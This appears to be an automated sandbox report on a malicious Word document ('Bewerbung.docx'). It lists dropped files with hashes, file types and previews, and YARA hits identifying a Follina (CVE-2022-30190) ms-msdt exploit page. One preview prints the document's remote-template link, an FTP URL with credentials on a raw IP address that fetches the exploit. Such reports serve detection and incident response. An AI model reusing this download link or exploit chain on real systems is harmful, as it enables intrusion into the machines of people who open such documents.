SHA-512:	80BC80ACD237629B2527DD4BF24E18899CA8496AE547CCF6506F713698F30F5D22CD92760E4322A8D26D58120B021C6136F70331F5CF5C36F665041963E9BBD3
Malicious:	false
Preview:	....L.I.N.K. .P.B.r.u.s.h. .".m.h.t.m.l.:.f.t.p.:././.e.p.i.z._.3.2.6.2.2.6.3.8.:.9.p.T.i.s.e.0.W.W.B.C.Z.j.@.1.8.5...2.7...1.3.4...1.1./.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w./.s.m.a.r.t.s.c.r.e.e.n...h.t.m.l.!.x.-.u.s.c.:.f.t.p.:././.e.p.i.z._.3.2.6.2.2.6.3.8.:.9.p.T.i.s.e.0.W.W.B.C.Z.j.@.1.8.5...2.7...1.3.4...1.1./.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w./.s.m.a.r.t.s.c.r.e.e.n...h.t.m.l.". .".". .\.b..... . .......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\smartscreen[1].html

Download File

Process:	C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	6785
Entropy (8bit):	1.4819495400876375
Encrypted:	false
SSDEEP:	24:0pildlK8PkikLnPKZ2kbsMiPlRKVAsyeJuasL34SJ4T:08ldnUPyNbsMiPDlwsj4S2T
MD5:	119DBEA31494051D0D82FE7B2DBF8F93
SHA1:	E165513F48E0A94BD49D880421A3BFBD07B59ACA
SHA-256:	B621E986424FA067D0F46508FBEE741836B87AD44B373EEA01004E1C4896A31B
SHA-512:	01A9D0A7FA858721622AC73D3AA4F5AF3BF6DA702E9E6B7CB6077DB08A66944E4248DB561E9EF9FBD092ED62308FEF57BAFAF323C4C51A66136F8B7329944705
Malicious:	true
Yara Hits:	Rule: SUSP_PS1_Msdt_Execution_May22, Description: Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\smartscreen[1].html, Author: Nasreddine Bencherchali, Christian Burkard Rule: EXPL_Follina_CVE_2022_30190_Msdt_MSProtocolURI_May22, Description: Detects the malicious usage of the ms-msdt URI as seen in CVE-2022-30190 / Follina exploitation, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\smartscreen[1].html, Author: Tobias Michalski, Christian Burkard Rule: JoeSecurity_Follina, Description: Yara detected Microsoft Office Exploit Follina / CVE-2022-30190, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\smartscreen[1].html, Author: Joe Security Rule: SUSP_PS1_Msdt_Execution_May22, Description: Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\smartscreen[1].html, Author: Nasreddine Bencherchali, Christian Burkard Rule: EXPL_Follina_CVE_2022_30190_Msdt_MSProtocolURI_May22, Description: Detects the malicious usage of the ms-msdt URI as seen in CVE-2022-30190 / Follina exploitation, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\smartscreen[1].html, Author: Tobias Michalski, Christian Burkard Rule: JoeSecurity_Follina, Description: Yara detected Microsoft Office Exploit Follina / CVE-2022-30190, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\smartscreen[1].html, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100%
Preview:	<!doctype html>.<html lang="en">.<body>.<script>.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAA

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\smartscreen[1].html

Download File

Process:	C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	6785
Entropy (8bit):	1.4819495400876375
Encrypted:	false
SSDEEP:	24:0pildlK8PkikLnPKZ2kbsMiPlRKVAsyeJuasL34SJ4T:08ldnUPyNbsMiPDlwsj4S2T
MD5:	119DBEA31494051D0D82FE7B2DBF8F93
SHA1:	E165513F48E0A94BD49D880421A3BFBD07B59ACA
SHA-256:	B621E986424FA067D0F46508FBEE741836B87AD44B373EEA01004E1C4896A31B
SHA-512:	01A9D0A7FA858721622AC73D3AA4F5AF3BF6DA702E9E6B7CB6077DB08A66944E4248DB561E9EF9FBD092ED62308FEF57BAFAF323C4C51A66136F8B7329944705
Malicious:	false
Preview:	<!doctype html>.<html lang="en">.<body>.<script>.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAA

C:\Users\user\AppData\Local\Temp\1ps51w3p\1ps51w3p.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3584
Entropy (8bit):	3.0862223556126716
Encrypted:	false
SSDEEP:	24:etGS99pz1qlkCe745Q7GslPor9cfjvX5ekjV4gztkZfIy6Iv+mzMOBWI+ycuZhN7:6Vpqb927GslP2cfDRjyJI6k1ulWa3yq
MD5:	15EEEEF78D4768D04D1FAE7AFA8D06E4
SHA1:	317D48F22D8E5DD0F2259B93DE12CB342F5B1461
SHA-256:	B2EBF9097AE1240B457AD79A8C2FB2AEC90BD8C046492F83D6E27C26E9270DFA
SHA-512:	D31AB185BE4791814D3CC0F8D1E121CBA56DF0F28C6EA150CFF4AC276D99C39A96EFB82DFDBF4B3940E941E50F9B13147244DB9755163A65DE9B0A5E0FFB843A
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....q(c...........!.................%... ...@....... ....................................@..................................$..K....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................%......H........ ..4............................................................0..6....... ....s........o....(....,..o....r...pr...po....~....F.r...pr...po......(....BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID.......t...#Blob...........W=........%3............................................................................2.+...N.B.....................0.....W.......+.............................Q.9.......... \.....P ......j...... ..

C:\Users\user\AppData\Local\Temp\1ps51w3p\CSCA2F7DC4713240A6A1FCA0F064ADC74.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.120069095618515
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryYak7YnqquPN5Dlq5J:+RI+ycuZhNWakSuPNnqX
MD5:	0DEFDB775D11282C7C4CCA40215F2DEB
SHA1:	AFCB9E126596C4CBAC7F9BD9FA43DC29B4E50F5B
SHA-256:	A9F00FF3F7A8F3D2DD77274F9D9A3621BA3588689E37EA6A010DDFCE5D2B55F0
SHA-512:	2D5309AC80ECE8EB020C2E135F7CDDBFB1026A37AFE6ADD522A57F396E7F5A9EC8218AD23295006A0609F00243B8D8A336F4B7DF9EA1C0150AA999137D84B3FC
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...1.p.s.5.1.w.3.p...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...1.p.s.5.1.w.3.p...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\2cyagvwu\2cyagvwu.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	5120
Entropy (8bit):	3.7817206574983158
Encrypted:	false
SSDEEP:	48:6eoPhmKraYZkH8KTibUyGkwjj0JtC+CFSlwYOc1ulsBa3vaq:UDaAkHHo0k8QCuKIK
MD5:	E0046E1E2A027CB7E049132B1DA2F9FE
SHA1:	2E033CCB936B1B47DF5CEB2A8DCF2EEBB373A1A5
SHA-256:	BE774AF0675409F85579BC03848C689BCB035750C2D019EBF8FEB0914DB17F98
SHA-512:	8347AFACE72B6D5189B9FAEA9766C33173511273FA4ECC3E73DC7099F5F9B9D866703017BEB94A3F2B9C6475B1814A0003F1BE61AACA51CE6470BEFA87A186B8
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....q(c...........!................>... ...@....... ....................................@..................................)..S....@.......................`....................................................... ............... ..H............text...D.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................ ......H....... ".............................................................."..(....J.#(....r...p(......(....2~.....(........0.......... ....s..... ....s...............r;..p.........(......s.............5.....".....5.....3+E...../...(.-...2.3+1...:3...+)....3...+....+...+...+...+...,...+...+......r;..p...o................ ...o.........+Y.......r=..p..o......1.r=..p..o..........+(r...p..o...........(........r...p(.........X.......i2..........(.........o........o....-.r...p....

C:\Users\user\AppData\Local\Temp\2cyagvwu\CSC8D8C47D5CCF542F2A6978E3AB92620A2.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.1153201264583004
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryKBak7YnqqvmPN5Dlq5J:+RI+ycuZhNsBakSvmPNnqX
MD5:	FFAE13D92BEAF8C62938AF0326781FEA
SHA1:	84B89E2755BFE54895886B35C1043FF055C4D44A
SHA-256:	0151561CEF2FDEEAC33021D8A505B8DCEA06DCDDED10E56BD56679BC1697BE2A
SHA-512:	14171450062EF5BDC0139F6C464C9C4306BF9F1CB6269EEA47B7DF919E7358033092575E0D8B279C4DF73807E7FCE91D3EAB3C27E1EFF0B7404B1563AC0EC63B
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...2.c.y.a.g.v.w.u...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...2.c.y.a.g.v.w.u...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\RES6A8A.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x4ae, 9 symbols
Category:	dropped
Size (bytes):	1364
Entropy (8bit):	4.111404282119518
Encrypted:	false
SSDEEP:	24:HZFC9A++fq9yDfHDhKsBa2fII+ycuZhNsBakSvmPNnq9Wd:5hxzNKsk2g1ulsBa3vaq9m
MD5:	263E113233DB1666ACACC1A570094B75
SHA1:	28875425912FA24C9798CFBCF40DE9FE4BA876A2
SHA-256:	94AD5CA4112262C435E9CAE898DA80C4C72F455CD067C8E049F03A8037348623
SHA-512:	B68663287E7D47901FEBF110263E4D6CD7AFC27FD33533587E9FFABD9322D654B978C23980179DC0204E230A613DAB138CA4639A2BC4DDDCF8583D5CE22F90D8
Malicious:	false
Preview:	L....q(c.............debug$S........p...................@..B.rsrc$01........X.......T...........@..@.rsrc$02........P...^...............@..@........T....c:\Users\user\AppData\Local\Temp\2cyagvwu\CSC8D8C47D5CCF542F2A6978E3AB92620A2.TMP...................+...)8..&x............4.......C:\Users\user\AppData\Local\Temp\RES6A8A.tmp.-.<...................'...Microsoft (R) CVTRES...=..cwd.C:\Windows\TEMP\SDIAG_95d8fc73-225c-4318-a053-73188be49aeb.exe.C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe...............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...2.c.y.a.g.v.w.u...d.l.l.....(.....L.e.g.a.l.C.o.p.

C:\Users\user\AppData\Local\Temp\RES7E41.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x4ae, 9 symbols
Category:	dropped
Size (bytes):	1364
Entropy (8bit):	4.074212495664399
Encrypted:	false
SSDEEP:	24:HEFC9A5hf9b4C1DfHdQhKsBa2fII+ycuZhNWakSuPNnq9Wd:khn9bBJ8Ksk2g1ulWa3yq9m
MD5:	EDA2896F21BF2026FFC607693B3502E8
SHA1:	876374DB35B3CE8F3078EE28FFCDADCAA901BC34
SHA-256:	24D95CC81BA1D89B118643E1D585BBC82822860E4539D2A620EA94DBA72E38EE
SHA-512:	C48D68A21C066CACF3B958BA62F95BF392E49E1692FEEF2EF6C3A832FCC4C5BC5FAB7DF1F198B9216C6AF659D18BA505D46666F93FE3FF373FB4DD3FB9F6E359
Malicious:	false
Preview:	L....q(c.............debug$S........p...................@..B.rsrc$01........X.......T...........@..@.rsrc$02........P...^...............@..@........R....c:\Users\user\AppData\Local\Temp\1ps51w3p\CSCA2F7DC4713240A6A1FCA0F064ADC74.TMP....................w].(,\|L.@!_-...........4.......C:\Users\user\AppData\Local\Temp\RES7E41.tmp.-.<...................'...Microsoft (R) CVTRES...=..cwd.C:\Windows\TEMP\SDIAG_95d8fc73-225c-4318-a053-73188be49aeb.exe.C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe...............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...1.p.s.5.1.w.3.p...d.l.l.....(.....L.e.g.a.l.C.o.p.

C:\Users\user\AppData\Local\Temp\RESAB6C.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x4ae, 9 symbols
Category:	dropped
Size (bytes):	1364
Entropy (8bit):	4.095638009108719
Encrypted:	false
SSDEEP:	24:HpFC9A++fwS6TDfH1fhKsBa2fII+ycuZhNThakSiGPNnq9Wd:JhxwSIfKsk2g1ulda3xq9m
MD5:	00440AD381618EC7973447FBC2A643E8
SHA1:	00713B23547296A3615BD1B0B58EF065171D523E
SHA-256:	1D22BCD971DB0DB48F3AB451CD482A2E7549F27BBB6D638249744936647C1F0A
SHA-512:	36B2EB4EAB0FAC54107BC009A72804BDE70FBE6F7B6001C4C9B20EDA981DA21BAEA676D4CAE6D4E2E1B19D5F1CB0EAF9F60DB72770009048132AD77A11450999
Malicious:	false
Preview:	L....q(c.............debug$S........p...................@..B.rsrc$01........X.......T...........@..@.rsrc$02........P...^...............@..@........T....c:\Users\user\AppData\Local\Temp\ufpm0sbx\CSCFD12017F98C74F3CA9A85B7B52106DF8.TMP.................l...i..1..2h............4.......C:\Users\user\AppData\Local\Temp\RESAB6C.tmp.-.<...................'...Microsoft (R) CVTRES...=..cwd.C:\Windows\TEMP\SDIAG_95d8fc73-225c-4318-a053-73188be49aeb.exe.C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe...............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...u.f.p.m.0.s.b.x...d.l.l.....(.....L.e.g.a.l.C.o.p.

C:\Users\user\AppData\Local\Temp\ufpm0sbx\CSCFD12017F98C74F3CA9A85B7B52106DF8.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.0958838207989086
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryJhak7YnqqiGPN5Dlq5J:+RI+ycuZhNThakSiGPNnqX
MD5:	AAA76C88ABEF69F40F3116DB3268A0AA
SHA1:	DBD0BA303557EF90591440C89CECC1AF72C6D59C
SHA-256:	6E506D87FE85511B53B5A1BE45CE519ED2C55ECA22BEACEBD8229473498689F4
SHA-512:	7B03ADBC5C216E30F4E1DFF8B69C680248C954EA86D1BF3C72AB6635DEE718880C4DE8DAA7CF5CC9E3079F5B3735C12EC8AAFC78811483881FF905BBAF5C4C50
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...u.f.p.m.0.s.b.x...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...u.f.p.m.0.s.b.x...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\ufpm0sbx\ufpm0sbx.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	9728
Entropy (8bit):	4.793686820003923
Encrypted:	false
SSDEEP:	96:pKqedmYoNKvUTCSH3gR8H8FgwSHwBwkwZYPaSJ365OnieMjQZaXRnIjvK:oElNK8TCSfHyPwkwZ+vKOMQZGnv
MD5:	BF4135C5DF634AE466A30B843706F32D
SHA1:	54E06B36F9936581DFE08568F24943D42C3AEAEF
SHA-256:	CBC97B8581AFF51C073C91DE86AC93501393E790EB1EBA1A0CDC5219242FE3B2
SHA-512:	78F0482CB73DAB8EC39137B9804B1789FDB91AD0820554FA9DFF46467561A07834766DC0EFB50767EC67439092D148D8D6B0AB54D94D48F3B09AB4DAA6297872
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....q(c...........!................^<... ...@....... ....................................@..................................<..K....@.......................`....................................................... ............... ..H............text...d.... ...................... ..`.rsrc........@....... ..............@..@.reloc.......`.......$..............@..B................@<......H........$..4............................................................0..%....... ....s.....r...p.(....,..o....~........0..!....... ....s.......(....,..o....~........0...........(....s......o.........o........0..@....... ....s..... ....s........(....s.......o....o....&..o....o....&..0...........,.. .+.....o.....+).o......t....~....(....,...t.......(....&.o....-....u........,...o......o......+..o......t....~....(....,...t.......(....&..o....-.....u........,...o.....

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Bewerbung.LNK

Download File

Process:	C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Tue Aug 16 12:41:31 2022, mtime=Mon Sep 19 12:40:55 2022, atime=Mon Sep 19 12:40:35 2022, length=105652, window=hide
Category:	dropped
Size (bytes):	1055
Entropy (8bit):	4.678343551647625
Encrypted:	false
SSDEEP:	12:8pOHasW0U5duCH2zRa4Ev5e+WXSyJLOkDQjA6N/Dcn3OkDKNDO5sQFzeusQFzeLd:8pUqKc5MJLvEA6NbuvODoeqek7aB6m
MD5:	44931F272B67B01D25E9EFF1DA61C722
SHA1:	4A1431D1EEE42701713EF531364F1E7A01183521
SHA-256:	BE5D9EF3FB63C981F76E2ACD5929E17E595B77A861FB7FAFA231AA5BF9A3EBCE
SHA-512:	18386EC4CCF881F3BA480192B134E0506CEB8F3237B4521DFB03773C7BDE6A0E7A4B0E4464B2667077F8307AB914714648D81668925267766F9C92315D34A771
Malicious:	false
Preview:	L..................F.... .......u...skrq-....n.e-................................P.O. .:i.....+00.../C:\...................x.1......N....Users.d......L..3U.m....................:......;..U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....P.1......U1m..user.<.......N..3U.m....#J......................,.j.o.n.e.s.....~.1......U2m..Desktop.h.......N..3U.m.....Y..............>.....F=3.D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....j.2.....3U.m .BEWERB~1.DOC..N.......U0m3U.m....P.....................\...B.e.w.e.r.b.u.n.g...d.o.c.x.......T...............-.......S...........>.S......C:\Users\user\Desktop\Bewerbung.docx..%.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.B.e.w.e.r.b.u.n.g...d.o.c.x.........:..,.LB.)...As...`.......X.......888683...........!a..%.H.VZAj.....r.h............!a..%.H.VZAj.....r.h.......................1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.3.8.5.3.3.2.1.9.3.5.-.2.1.2.5.5.6.3.2.0.9.-.4.0.5.3.0.6.2.3.3.2.-.1.0.0.2.........9...1SPS..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

Download File

Process:	C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.6877135109366135
Encrypted:	false
SSDEEP:	3:bDuMJl/IAlmxWsAzNAlv:bC0HTzq1
MD5:	24A53B806CB95D3F9F02BA065B7E5246
SHA1:	F5B36A4155A9702352ABD00999CA64A144EC7ED2
SHA-256:	77E29811AB165B4128F3DBE3774EE26C230570A0BBE2DD8EF334FAC1931F3CE4
SHA-512:	64C254633D1C58563292CCAC8D79D1E79F0404F73482EC5FC399FD80E338285644E1CF6CA9B341B7B3F9EBCFF03E4694DBEF266A9EBE44DC7EFEC9A3D54599AE
Malicious:	false
Preview:	[folders]..Templates.LNK=0..Bewerbung.LNK=0..[misc]..Bewerbung.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Download File

Process:	C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.2053410032470406
Encrypted:	false
SSDEEP:	3:Rl/ZdkDVlHlqKx6o2lFtlEDi4lx3/lt/n:RtZ0Aq6oPiox33
MD5:	78EC490E130848CAD8F511C1F4F8D18C
SHA1:	745C07D5FD776CAD44E7F5503FBB99A85B529555
SHA-256:	70862E2FEDC6472055350FDA94AD5A6DC7448B5050B7A2DC548619EE9B86243B
SHA-512:	925F8600E11A0FA1B3B7ACA83F0C97DEEEE3DAB2020CA2D96CA23188BA7031CC841CFB572693FF43C0EAD3D09AA111C9B48D6D2F2DB884A742DE744697C1179E
Malicious:	false
Preview:	.pratesh................................................p.r.a.t.e.s.h.......................$.......6C......................................................

C:\Users\user\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Download File

Process:	C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE
File Type:	Little-endian UTF-16 Unicode text, with CR line terminators
Category:	dropped
Size (bytes):	20
Entropy (8bit):	2.8954618442383215
Encrypted:	false
SSDEEP:	3:QVNliGn:Q9rn
MD5:	C4F79900719F08A6F11287E3C7991493
SHA1:	754325A769BE6ECCC664002CD8F6BDB0D0B8CA4D
SHA-256:	625CA96CCA65A363CC76429804FF47520B103D2044BA559B11EB02AB7B4D79A8
SHA-512:	0F3C498BC7680B4C9167F790CC0BE6C889354AF703ABF0547F87B78FEB0BAA9F5220691DF511192B36AD9F3F69E547E6D382833E6BC25CDB4CD2191920970C5F
Malicious:	false
Preview:	..p.r.a.t.e.s.h.....

C:\Users\user\Desktop\~$werbung.docx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.2053410032470406
Encrypted:	false
SSDEEP:	3:Rl/ZdkDVlHlqKx6o2lFtlEDi4lx3/lt/n:RtZ0Aq6oPiox33
